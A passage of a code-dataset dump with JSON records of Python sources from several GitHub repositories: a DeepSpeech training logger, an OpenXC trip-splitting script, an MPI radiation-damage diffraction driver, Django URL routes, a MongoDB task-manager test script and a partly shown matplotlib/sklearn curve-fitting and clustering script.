"usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 102, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 103, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 103, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.yticks", "line_number": 104, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 104, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 105, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 105, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 106, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 106, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlim", "line_number": 107, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 107, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.tight_layout", "line_number": 109, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 109, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 110, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 110, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 114, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 114, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 116, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 116, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 117, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 117, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 119, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 119, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 120, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 120, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.yticks", "line_number": 121, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 121, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 122, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 122, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 123, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 123, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlim", "line_number": 124, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 124, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.tight_layout", "line_number": 126, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 126, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 127, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 127, "usage_type": "name"}]} {"seq_id": "72858682462", "text": "import os\n\nimport torch\n\n\ndef to_np(x):\n return x.cpu().numpy()\n\n\nclass VisdomLogger(object):\n def __init__(self, id, num_epochs):\n from visdom import Visdom\n self.viz = Visdom()\n self.opts = dict(title=id, ylabel='', xlabel='Epoch', legend=['Loss', 'WER', 'CER'])\n self.viz_window = None\n self.epochs = torch.arange(1, num_epochs + 1)\n self.visdom_plotter = True\n\n def update(self, epoch, values):\n x_axis = self.epochs[0:epoch + 1]\n y_axis = torch.stack((values.loss_results[:epoch],\n values.wer_results[:epoch],\n values.cer_results[:epoch]),\n dim=1)\n self.viz_window = self.viz.line(\n X=x_axis,\n Y=y_axis,\n opts=self.opts,\n win=self.viz_window,\n update='replace' if self.viz_window else None\n )\n\n def load_previous_values(self, start_epoch, results_state):\n self.update(start_epoch - 1, results_state) # Add all values except the iteration we're starting from\n\n\nclass TensorBoardLogger(object):\n def __init__(self, id, log_dir, log_params):\n os.makedirs(log_dir, exist_ok=True)\n from torch.utils.tensorboard import SummaryWriter\n self.id = id\n self.tensorboard_writer = SummaryWriter(log_dir)\n self.log_params = log_params\n\n def update(self, epoch, results_state, parameters=None):\n loss = results_state.loss_results[epoch]\n wer = results_state.wer_results[epoch]\n cer = results_state.cer_results[epoch]\n values = {\n 'Avg Train Loss': loss,\n 'Avg WER': wer,\n 'Avg CER': cer\n }\n self.tensorboard_writer.add_scalars(self.id, values, epoch + 1)\n if self.log_params:\n for tag, value in parameters():\n tag = tag.replace('.', '/')\n self.tensorboard_writer.add_histogram(tag, to_np(value), epoch + 1)\n self.tensorboard_writer.add_histogram(tag + '/grad', to_np(value.grad), epoch + 1)\n\n def load_previous_values(self, start_epoch, result_state):\n loss_results = result_state.loss_results[:start_epoch]\n wer_results = result_state.wer_results[:start_epoch]\n cer_results = result_state.cer_results[:start_epoch]\n\n for i in range(start_epoch):\n values = {\n 'Avg Train Loss': loss_results[i],\n 'Avg WER': wer_results[i],\n 'Avg CER': cer_results[i]\n }\n self.tensorboard_writer.add_scalars(self.id, values, i + 1)\n", "repo_name": "Ascend/ModelZoo-PyTorch", "sub_path": "PyTorch/contrib/audio/deepspeech/deepspeech_pytorch/logger.py", "file_name": "logger.py", "file_ext": "py", "file_size_in_byte": 2623, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 31, "dataset": "github-code", "pt": "7", "api": [{"api_name": "visdom.Visdom", "line_number": 13, "usage_type": "call"}, {"api_name": "torch.arange", "line_number": 16, "usage_type": "call"}, {"api_name": "torch.stack", "line_number": 21, "usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 39, "usage_type": "call"}, {"api_name": "torch.utils.tensorboard.SummaryWriter", "line_number": 42, "usage_type": "call"}]} {"seq_id": "39581159567", "text": "#!/usr/bin/env python\n\nimport sys\nfrom xml.etree import ElementTree as ET\nimport json\nimport re\nimport datetime\n\nclass DestFileCreator:\n nextTrip = 1\n\n def __init__(self, firstTrip):\n self.nextTrip = firstTrip\n\n def next_dest(self, data_file):\n newName = \"Trip\" + str(self.nextTrip).zfill(3) + \"-\" + data_file\n self.nextTrip = self.nextTrip + 1\n print(f\"Starting {newName}\")\n return open(newName, \"w\")\n\ndef get_next_file(trace_file):\n numbers_str = re.findall(r'[0-9]+', trace_file)\n\n numbers_int = map(int, numbers_str)\n\n oldFile = datetime.datetime(numbers_int[0], numbers_int[1], numbers_int[2], numbers_int[3])\n\n dtime = datetime.timedelta(hours=1)\n \n oldFile = oldFile + dtime\n\n filename = str(oldFile.date())\n filename += \"-\"\n if(oldFile.hour < 10):\n filename += \"0\"\n filename += str(oldFile.hour)\n filename += \".json\"\n\n return filename\n\ndef read_trace_file(dataFileValid, destFileGen, destinationFile, trace_file, currentTraceFile):\n lastTimeStamp = 0.0\n currentTimeStamp = 0\n errorCount = 0\n lineCount = 0\n\n for line in currentTraceFile:\n try:\n lineCount = lineCount + 1\n timestamp, data = line.split(':', 1)\n record = json.loads(data)\n except ValueError:\n sys.stderr.write(\"Skipping line: %s\" % data)\n print(\" \")\n errorCount = errorCount + 1\n continue\n \n if lastTimeStamp is not 0.0:\n if (float(timestamp) - lastTimeStamp) > 600.00: # Time is in seconds\n print(f\"Found a gap of {float(timestamp) - lastTimeStamp} seconds. Creating new Trip file.\")\n destinationFile.close()\n lastTimeStamp = 0.0\n destinationFile = destFileGen.next_dest(trace_file)\n elif (float(timestamp) - lastTimeStamp) > 1.00: # Time is in seconds\n print(f\"Momentary dropout of {float(timestamp) - lastTimeStamp} seconds. Ignoring.\")\n lastTimeStamp = float(timestamp)\n destinationFile.write(line)\n \n if dataFileValid is True:\n currentTraceFile.close()\n trace_file = get_next_file(trace_file)\n\n percentBad = 100.0 * errorCount / lineCount\n print(f\"Parsed {lineCount} lines.\")\n\n print(f\"Detected {errorCount} errors.\")\n\n print(f\"{percentBad}% bad data\")\n\ndef compile_trip(trace_file, tripNum):\n dataFileValid = True\n destFileGen = DestFileCreator(tripNum)\n \n\n destinationFile = destFileGen.next_dest(trace_file)\n\n while dataFileValid is True:\n try:\n currentTraceFile = open(trace_file, \"r\")\n except IOError as e:\n print(e)\n dataFileValid = False\n destinationFile.close()\n break\n else:\n print(f'Opened {trace_file}')\n read_trace_file(dataFileValid, destFileGen, destinationFile, trace_file, currentTraceFile)\n \n\nif __name__ == '__main__':\n if len(sys.argv) is not 3:\n print(\"Must provide the path to the first trace file in a trip and the trip number.\")\n sys.exit(1)\n \n compile_trip(sys.argv[1], int(sys.argv[2]))\n", "repo_name": "openxc/vi-firmware", "sub_path": "script/make_trips.py", "file_name": "make_trips.py", "file_ext": "py", "file_size_in_byte": 3200, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 192, "dataset": "github-code", "pt": "7", "api": [{"api_name": "re.findall", "line_number": 22, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 26, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 28, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 51, "usage_type": "call"}, {"api_name": "sys.stderr.write", "line_number": 53, "usage_type": "call"}, {"api_name": "sys.stderr", "line_number": 53, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 101, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 103, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 105, "usage_type": "attribute"}]} {"seq_id": "18507489658", "text": "import argparse, os\n\nfrom mpi4py import MPI\n\nfrom skopi.radiationDamage import *\nimport skopi.util as su\n\n\ndef main():\n \"\"\"\n Main function to implement the master-slave model for parallel execution.\n\n :return:\n \"\"\"\n\n parameters = parse_input()\n\n # Initialize MPI\n comm = MPI.COMM_WORLD\n rank = comm.Get_rank()\n # Initialize time\n start = time.time()\n if rank == 0:\n master_diffract(comm, parameters)\n else:\n slave_diffract(comm, parameters)\n\n comm.Barrier() # Barrier synchronization\n\n if rank == 0:\n end = time.time()\n print('Finished: ', end - start, ' seconds.')\n\n\ndef master_diffract(comm, parameters):\n \"\"\"\n Master node. Get the diffraction patterns with mpi\n\n :param comm: MPI comm\n :param parameters: dictionary of command line arguments\n :return:\n \"\"\"\n pmi_start_id = int(parameters['pmiStartID'])\n pmi_end_id = int(parameters['pmiEndID'])\n num_dp = int(parameters['numDP'])\n\n # Number of processes\n num_process = comm.Get_size()\n ntasks = (pmi_end_id - pmi_start_id + 1) * num_dp\n\n if num_process == 1:\n rotation_axis = parameters['rotationAxis']\n uniform_rotation = parameters['uniformRotation']\n my_quaternion = generate_rotations(uniform_rotation, rotation_axis, ntasks)\n output_name = parameters['outputDir'] + '/diffr_out_0000001.h5'\n if os.path.exists(output_name):\n os.remove(output_name)\n su.prep_h5(output_name)\n for ntask in range(ntasks):\n make_one_diffr(my_quaternion, ntask, parameters, output_name)\n else:\n for ntask in range(ntasks):\n status = MPI.Status()\n # Waiting for messages from slave\n # Successful message reciving means slave is ready for simulation\n comm.recv(source=MPI.ANY_SOURCE, tag=1, status=status)\n rnk = status.Get_source()\n # Trigger calculation on slave.\n comm.send(ntask, dest=rnk)\n\n # Final send: stop all processes from waiting for tasks\n for process in range(1, num_process):\n comm.send(-1, dest=process)\n\n\ndef slave_diffract(comm, parameters):\n \"\"\"\n Slave node. Get the diffraction patterns with mpi\n\n :param comm: MPI comm\n :param parameters: dictionary of command line arguments\n :return:\n \"\"\"\n pmi_start_id = int(parameters['pmiStartID'])\n pmi_end_id = int(parameters['pmiEndID'])\n num_dp = int(parameters['numDP'])\n ntasks = (pmi_end_id - pmi_start_id + 1) * num_dp\n rotation_axis = parameters['rotationAxis']\n uniform_rotation = parameters['uniformRotation']\n my_quaternion = generate_rotations(uniform_rotation, rotation_axis, ntasks)\n\n # Setup output file\n output_name = parameters['outputDir'] + '/diffr_out_' + '{0:07}'.format(comm.Get_rank()) + '.h5'\n if os.path.exists(output_name):\n os.remove(output_name)\n su.prep_h5(output_name)\n\n # Init a local counter\n counter = 0\n # Wave to master, we're good to go.\n comm.send(counter, dest=0, tag=1)\n # Start event loop and generate the diffraction images.\n while True:\n counter = comm.recv(source=0)\n if counter < 0:\n # end of simulation\n return None\n make_one_diffr(my_quaternion, counter, parameters, output_name)\n # Show master we're ready for another task\n comm.send(counter, dest=0, tag=1)\n\n\ndef parse_input():\n \"\"\"\n Parse the input command arguments and return a dict containing all simulation parameters.\n\n :return parameters: dictionary of command-line arguments\n \"\"\"\n\n # Instantiate the parser\n parser = argparse.ArgumentParser()\n parser.add_argument('--inputDir', help='Input directory for finding /pmi and /diffr')\n parser.add_argument('--outputDir', help='Output directory for saving diffraction')\n parser.add_argument('--beamFile', help='Beam file defining X-ray beam')\n parser.add_argument('--geomFile', help='Geometry file defining diffraction geometry')\n parser.add_argument('--rotationAxis', default='xyz', help='Preferred axis of rotation or xyz if none')\n parser.add_argument('--uniformRotation', type=parse_boolean,\n help='If 1, rotates the sample uniformly in SO(3),\\\n if 0 random orientation in SO(3),\\\n if None (omitted): no orientation.')\n parser.add_argument('--calculateCompton', type=parse_boolean, default=False,\n help='If 1, includes Compton scattering in the diffraction pattern')\n parser.add_argument('--sliceInterval', type=int, help='Calculates photon field at every slice interval')\n parser.add_argument('--numSlices', type=int,\n help='Number of time-slices to use from Photon Matter Interaction (PMI) file')\n parser.add_argument('--pmiStartID', type=int, help='First Photon Matter Interaction (PMI) file ID to use')\n parser.add_argument('--pmiEndID', type=int, help='Last Photon Matter Interaction (PMI) file ID to use')\n parser.add_argument('--numDP', type=int, help='Number of diffraction patterns per PMI file')\n\n # convert argparse to dict\n return vars(parser.parse_args())\n\n\ndef parse_boolean(b):\n \"\"\"\n Handle different possible Boolean types.\n\n :param b:\n :return:\n \"\"\"\n if b is None:\n return b\n if b is False or b is True:\n return b\n b = b.strip()\n if len(b) < 1:\n raise ValueError('Cannot parse empty string into boolean.')\n b = b[0].lower()\n if b == 't' or b == 'y' or b == '1':\n return True\n if b == 'f' or b == 'n' or b == '0':\n return False\n raise ValueError('Cannot parse string into boolean.')\n\n\nif __name__ == '__main__':\n main()\n", "repo_name": "chuckie82/skopi", "sub_path": "skopi/radiationDamageMPI.py", "file_name": "radiationDamageMPI.py", "file_ext": "py", "file_size_in_byte": 5765, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 7, "dataset": "github-code", "pt": "7", "api": [{"api_name": "mpi4py.MPI.COMM_WORLD", "line_number": 19, "usage_type": "attribute"}, {"api_name": "mpi4py.MPI", "line_number": 19, "usage_type": "name"}, {"api_name": "os.path.exists", "line_number": 56, "usage_type": "call"}, {"api_name": "os.path", "line_number": 56, "usage_type": "attribute"}, {"api_name": "os.remove", "line_number": 57, "usage_type": "call"}, {"api_name": "skopi.util.prep_h5", "line_number": 58, "usage_type": "call"}, {"api_name": "skopi.util", "line_number": 58, "usage_type": "name"}, {"api_name": "mpi4py.MPI.Status", "line_number": 63, "usage_type": "call"}, {"api_name": "mpi4py.MPI", "line_number": 63, "usage_type": "name"}, {"api_name": "mpi4py.MPI.ANY_SOURCE", "line_number": 66, "usage_type": "attribute"}, {"api_name": "mpi4py.MPI", "line_number": 66, "usage_type": "name"}, {"api_name": "os.path.exists", "line_number": 94, "usage_type": "call"}, {"api_name": "os.path", "line_number": 94, "usage_type": "attribute"}, {"api_name": "os.remove", "line_number": 95, "usage_type": "call"}, {"api_name": "skopi.util.prep_h5", "line_number": 96, "usage_type": "call"}, {"api_name": "skopi.util", "line_number": 96, "usage_type": "name"}, {"api_name": "argparse.ArgumentParser", "line_number": 121, "usage_type": "call"}]} {"seq_id": "25386605134", "text": "from django.urls import path\nfrom usuarios import views\n\napp_name = 'usuarios'\nurlpatterns = [\n path('', views.login_view, name='login'),\n path('process/', views.process_login, name='process'),\n path('e/lp/', views.eval_loged, name='success_login_eval'),\n path('e/eval/', views.evaluaciones_evaluador, name='evaluaciones_evaluador'),\n path('a/lp/', views.landingpage, name='landing'), #Landing page de administrador\n path('a/ev/', views.evaluadores), # Evaluadores visto por admin\n path('a/ev/delete/', views.delete_evaluador),\n path('a/ev/modify/', views.modify_evaluador),\n path('a/eval/delete/', views.deleteEvaluacion),\n path('a/eval/create/', views.createEvaluacion),\n path('a/eval/modify/', views.modifyEvaluacion),\n path('a/eval/', views.evaluaciones), # Lista de evaluaciones de admin\n path('a/rub/', views.rubricas), # Rubricas vistas por el admin\n\n]", "repo_name": "DCC-CC4401/2019-1-yet-another-quality-commit-T4", "sub_path": "usuarios/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 901, "program_lang": "python", "lang": "gl", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "django.urls.path", "line_number": 6, "usage_type": "call"}, {"api_name": "usuarios.views.login_view", "line_number": 6, "usage_type": "attribute"}, {"api_name": "usuarios.views", "line_number": 6, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 7, "usage_type": "call"}, {"api_name": "usuarios.views.process_login", "line_number": 7, "usage_type": "attribute"}, {"api_name": "usuarios.views", "line_number": 7, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 8, "usage_type": "call"}, {"api_name": "usuarios.views.eval_loged", "line_number": 8, "usage_type": "attribute"}, {"api_name": "usuarios.views", "line_number": 8, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 9, "usage_type": "call"}, {"api_name": "usuarios.views.evaluaciones_evaluador", "line_number": 9, "usage_type": "attribute"}, {"api_name": "usuarios.views", "line_number": 9, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 10, "usage_type": "call"}, {"api_name": "usuarios.views.landingpage", "line_number": 10, "usage_type": "attribute"}, {"api_name": "usuarios.views", "line_number": 10, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 11, "usage_type": "call"}, {"api_name": "usuarios.views.evaluadores", "line_number": 11, "usage_type": "attribute"}, {"api_name": "usuarios.views", "line_number": 11, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 12, "usage_type": "call"}, {"api_name": "usuarios.views.delete_evaluador", "line_number": 12, "usage_type": "attribute"}, {"api_name": "usuarios.views", "line_number": 12, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 13, "usage_type": "call"}, {"api_name": "usuarios.views.modify_evaluador", "line_number": 13, "usage_type": "attribute"}, {"api_name": "usuarios.views", "line_number": 13, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 14, "usage_type": "call"}, {"api_name": "usuarios.views.deleteEvaluacion", "line_number": 14, "usage_type": "attribute"}, {"api_name": "usuarios.views", "line_number": 14, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 15, "usage_type": "call"}, {"api_name": "usuarios.views.createEvaluacion", "line_number": 15, "usage_type": "attribute"}, {"api_name": "usuarios.views", "line_number": 15, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 16, "usage_type": "call"}, {"api_name": "usuarios.views.modifyEvaluacion", "line_number": 16, "usage_type": "attribute"}, {"api_name": "usuarios.views", "line_number": 16, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 17, "usage_type": "call"}, {"api_name": "usuarios.views.evaluaciones", "line_number": 17, "usage_type": "attribute"}, {"api_name": "usuarios.views", "line_number": 17, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 18, "usage_type": "call"}, {"api_name": "usuarios.views.rubricas", "line_number": 18, "usage_type": "attribute"}, {"api_name": "usuarios.views", "line_number": 18, "usage_type": "name"}]} {"seq_id": "10019229566", "text": "from mongoengine import *\nfrom incontrol.models import *\nfrom incontrol.app_environment import *\nimport datetime\nconnect('in_control')\n\ndef populate_database():\n\tu1 = User(name=\"Liu Zheng\")\n\tu1.save()\n\n\tidea1 = Idea(title='The first idea gave birth to this InControl program', users=[u1, ])\n\tidea1.content = \"\"\"\n\tThe development will have 3 stages. First, we build up the database and write\n\tsome tool functions and scripts for command-line usage.\n\tSecond, we think about writing an API server for this. Third, we wrap up\n\teverything into mobile apps and webpages.\n\t\"\"\"\n\tidea1.status = 'W'\n\tidea1.save()\n\n\tr1 = Reminder(title=\"things to do in this weekend\", users=[u1, ])\n\tr1.content=\"\"\"\n\t1. Learn beautiful soup and write a crawler and the `parse_logs` function.\n\t2. Finish watching the NLP Lecture 2.\n\t3. Read the spec.\n\t\"\"\"\n\tr1.deadline = datetime.datetime.strptime('2018-09-23T20:00:00', \"%Y-%m-%dT%H:%M:%S\")\n\tr1.save()\n\n\tp1 = Project(users=[u1, ])\n\tp1.title = \"InControl task management system\"\n\tp1.content = \"\"\"\n\tWrite a program managing tasks in a logical way.\n\tThis project has 3 stages:\n\t1. Build up the data model and develop some tool functions and command-line scripts.\n\t2. After some usage and polishment, start to build an API.\n\t3. Consider wrapping it up to a webpage or a mobile app.\n\t\"\"\"\n\tp1.save()\n\n\n\t\n# Project.list_properties()\n\n\n\n# populate_database()\n\nu1 = User.objects.first()\napp = AppEnvironment(u1)\nprint(app.current_user)\nprojects = app.query_tasks(Project)\nprint(\"projects:\", projects)\ncurrent_task = projects[0]\nprint(\"current_task:\", current_task)\n\n# # # test sprawn_subtask function\n# # -------------------------------\n# p11 = current_task.sprawn_subtask(Idea)\n# p11.title = 'Implement the `parse_logs` and `parse_content` functions'\n# p11.content = \"Thinks about whether to put these functions and decide whether to use JSON or XML.\"\n# p11.save()\n\n\n# # # test create_log function, and began to use the functions to create something great\n# # -------------------------------------------------------------------------------------\n# log1 = current_task.create_log(u1)\n# log1.title = \"Created 'create_log` function, among others.\"\n# log1.content = \"N.A.\"\n# log1.save()\n\n\n# p12 = current_task.sprawn_subtask(Project)\n# p12.title = \"Build a mapping between list items and numbers\"\n# p12.content = \"\"\"\n# For command-line usage, since each query returns a list of\n# objects, we should automatically build a mapping between numbers\n# and objects.\n\n# Add \"Choose task\", \"switch user\", \"choose log\", etc will help users\n# to choose things to work on and switch between one and another.\n\n# This should be added into `AppEnvironment` class. The class should not\n# only take 'current_user', but 'current_task', 'current_log', etc.\n# 'list_*' methods should show all * objects with an index in front of each\n# object, and one can use `switch_*` method to choose the corresponding object. \n# \"\"\"\n# p12.deadline = datetime.datetime.utcnow() + datetime.timedelta(hours=5)\n# p12.save()\n\n# p13 = current_task.sprawn_subtask(Project)\n# p13.title = \"Add 'switch_to_parent_task' method\"\n# p13.deadline = datetime.datetime.utcnow() + datetime.timedelta(hours=5)\n# p13.save()\n\n# # # create sub-tasks and logs using the AppEnvironment object\n# # ------------------------------------------------------------\n\n# u1 = User.objects.first()\n# app = AppEnvironment(u1, \"/Users/zheng/.incontrol\")\n# projects = app.list_main_tasks(Project)\n# print(projects)\n\n# app.switch_task(projects[0])\n# print(app.current_task.title)\n# tasks = app.list_subtasks(Project)\n# print(tasks)\n# app.switch_task(tasks[1])\n# print(app.current_task.title)\n# app.switch_to_parent_task()\n# print(app.current_task.title)\n# 后面就开发显示层，把get到的信息格式化显示。\n\n# # add log\n# log_list = app.list_logs()\n# print(log_list)\n# log1 = app.create_log()\n# log1.title = \"method added\"\n# log1.content = \"`switch_to_parent_task` added. Now task switching functionality is almost done.\"\n# log1.save()\n\n# log_list = app.list_logs()\n# print(log_list)\n\n# app.current_task.update_status('DONE')\n# print(app.current_task.status)\n# app.switch_to_parent_task()\n# subtask = app.create_subtask(task_cls=Idea, switch_to_it=True, users=None)\n# print(app.current_task.title)\n# print(app.previous_task.title)\n", "repo_name": "liuzheng1990/InControl", "sub_path": "test_populate_database.py", "file_name": "test_populate_database.py", "file_ext": "py", "file_size_in_byte": 4284, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "datetime.datetime.strptime", "line_number": 27, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 27, "usage_type": "attribute"}]} {"seq_id": "9451736557", "text": "import matplotlib.pyplot as plt\r\nimport scipy.optimize as opt\r\nimport pandas as pd\r\nimport seaborn as sns\r\nfrom sklearn.cluster import KMeans\r\nimport sklearn.cluster as cluster\r\nimport sklearn.metrics as skmet\r\nimport numpy as np\r\n\r\ncol = [0, 1, 34, 44, 54, 63]\r\n\r\n\r\ndef exp_growth(t, scale, growth):\r\n \"\"\" Computes exponential function with scale and growth as free parameters\r\n \"\"\"\r\n f = scale * np.exp(growth * (t-1950))\r\n return f\r\n\r\n\r\ndef norm(array):\r\n \"\"\" Returns array normalised to [0,1].\"\"\"\r\n min_val = np.min(array)\r\n max_val = np.max(array)\r\n scaled = (array-min_val) / (max_val-min_val)\r\n return scaled\r\n\r\n\r\ndef norm_df(df, first=0, last=None):\r\n \"\"\"\r\n Returns all columns of the dataframe normalised to [0,1] with the\r\n exception of the first (containing the names)\r\n Calls function norm to do the normalisation of one column, but\r\n doing all in one function is also fine.\r\n First, last: columns from first to last (including) are normalised.\r\n Defaulted to all. None is the empty entry. The default corresponds\"\"\"\r\n# iterate over all numerical columns\r\n for col in df.columns[first:last]: # excluding the first column\r\n df[col] = norm(df[col])\r\n return df\r\n\r\n\r\n# reading the file and data pre-processing\r\ndf_GDP = pd.read_csv(\"agri.csv\")\r\ndata_GDP = df_GDP.drop(\r\n columns=[\"Country Code\", \"Indicator Name\", \"Indicator Code\"])\r\ndata_GDP = data_GDP.replace(np.nan, 0)\r\ncountries = [\"India\", \"Colombia\", \"Japan\"]\r\ndata_GDP = data_GDP[\"Country Name\"].isin(countries)\r\ndata_GDP = df_GDP[data_GDP]\r\ndata_GDP = data_GDP.drop(\r\n columns={\"Country Name\", \"Country Code\", \"Indicator Name\", \"Indicator Code\"})\r\nGDP_tr = np.transpose(data_GDP)\r\nGDP_tr = GDP_tr.reset_index()\r\nGDP_tr = GDP_tr.rename(columns={\"index\": \"year\"})\r\nGDP_tr = GDP_tr.rename(columns={109: \"INDIA\", 45: \"COLOMBIA\", 119: \"JAPAN\"})\r\nGDP_tr = GDP_tr.dropna()\r\nGDP_tr[\"JAPAN\"] = pd.to_numeric(GDP_tr[\"JAPAN\"])\r\nGDP_tr[\"INDIA\"] = pd.to_numeric(GDP_tr[\"INDIA\"])\r\nGDP_tr[\"year\"] = pd.to_numeric(GDP_tr[\"year\"])\r\n\r\n# fit exponential growth\r\npopt, covar = opt.curve_fit(exp_growth, GDP_tr[\"year\"], GDP_tr[\"JAPAN\"])\r\n\r\nprint(\"Fit parameter\", popt)\r\n# use *popt to pass on the fit parameters\r\nGDP_tr[\"pop_exp\"] = exp_growth(GDP_tr[\"year\"], *popt)\r\nplt.figure()\r\nplt.plot(GDP_tr[\"year\"], GDP_tr[\"JAPAN\"], label=\"data\")\r\nplt.plot(GDP_tr[\"year\"], GDP_tr[\"pop_exp\"], label=\"fit\")\r\nplt.legend()\r\nplt.title(\"Fit\")\r\nplt.xlabel(\"year\")\r\nplt.ylabel(\"Agriculture methane emmision\")\r\nplt.show()\r\n\r\n# growth of 0.02 gives a reasonable start value\r\npopt = [4e8, 0.01]\r\nGDP_tr[\"pop_exp\"] = exp_growth(GDP_tr[\"year\"], *popt)\r\nplt.figure()\r\nplt.plot(GDP_tr[\"year\"], GDP_tr[\"JAPAN\"], label=\"data\")\r\nplt.plot(GDP_tr[\"year\"], GDP_tr[\"JAPAN\"], label=\"fit\")\r\nplt.legend()\r\nplt.xlabel(\"year\")\r\nplt.ylabel(\"Agriculture methane emmision\")\r\nplt.title(\"Improved\")\r\nplt.show()\r\n\r\n# # fit exponential growth\r\npopt, covar = opt.curve_fit(\r\n exp_growth, GDP_tr[\"year\"], GDP_tr[\"JAPAN\"], p0=[4e8, 0.02])\r\n# # much better\r\nprint(\"Fit parameter\", popt)\r\nGDP_tr[\"pop_exp\"] = exp_growth(GDP_tr[\"year\"], *popt)\r\nplt.figure()\r\nplt.plot(GDP_tr[\"year\"], GDP_tr[\"JAPAN\"], label=\"data\")\r\nplt.plot(GDP_tr[\"year\"], GDP_tr[\"pop_exp\"], label=\"fit\")\r\nplt.legend()\r\nplt.xlabel(\"year\")\r\nplt.ylabel(\"Agriculture methane emission\")\r\nplt.title(\"Graph showing exponential fit\")\r\nplt.savefig('exponential.png', bbox_inches=\"tight\", dpi=300)\r\nplt.show()\r\nprint()\r\n\r\n\r\nprint(GDP_tr.describe())\r\n\r\n\r\npd.plotting.scatter_matrix(GDP_tr, figsize=(9.0, 9.0))\r\n#to avoid overlap of labels\r\nplt.tight_layout()\r\nplt.show()\r\n\r\n\r\n# extract columns for fitting\r\ndf_fit = GDP_tr[[\"INDIA\", \"JAPAN\"]].copy()\r\n# normalise dataframe and inspect result\r\n# normalisation is done only on the extract columns. .copy() prevents\r\n# changes in df_fit to affect df_fish. This make the plots with the\r\n# original measurements\r\ndf_fit = norm_df(df_fit)\r\nprint(df_fit.describe())\r\nprint()\r\n\r\n\r\nfor ic in range(2, 7):\r\n # set up kmeans and fit\r\n kmeans = cluster.KMeans(n_clusters=ic)\r\n kmeans.fit(df_fit)\r\n\r\n# extract labels and calculate silhoutte score\r\nlabels = kmeans.labels_\r\nprint(ic, skmet.silhouette_score(df_fit, labels))\r\n\r\n\r\n# Plot for 6 clusters\r\nkmeans = cluster.KMeans(n_clusters=6)\r\nkmeans.fit(df_fit)\r\n# extract labels and cluster centres\r\nlabels = kmeans.labels_\r\ncen = kmeans.cluster_centers_\r\nplt.figure(figsize=(6.0, 6.0))\r\nplt.scatter(df_fit[\"INDIA\"], df_fit[\"JAPAN\"], c=labels, cmap=\"Accent\")\r\n# colour map Accent selected to increase contrast between colours\r\n# show cluster centres\r\nfor j in range(4):\r\n cx, cy = cen[j, :]\r\n plt.plot(cx, cy, \"dk\", markersize=10)\r\n\r\nplt.xlabel(\"country\")\r\nplt.ylabel(\"y\")\r\nplt.title(\"6 clusters\")\r\nplt.savefig('6 cluster.png', bbox_inches=\"tight\", dpi=300)\r\nplt.show()\r\n#-----------------------\r\n\r\n# Plot for five clusters\r\nkmeans = cluster.KMeans(n_clusters=5)\r\nkmeans.fit(df_fit)\r\n# extract labels and 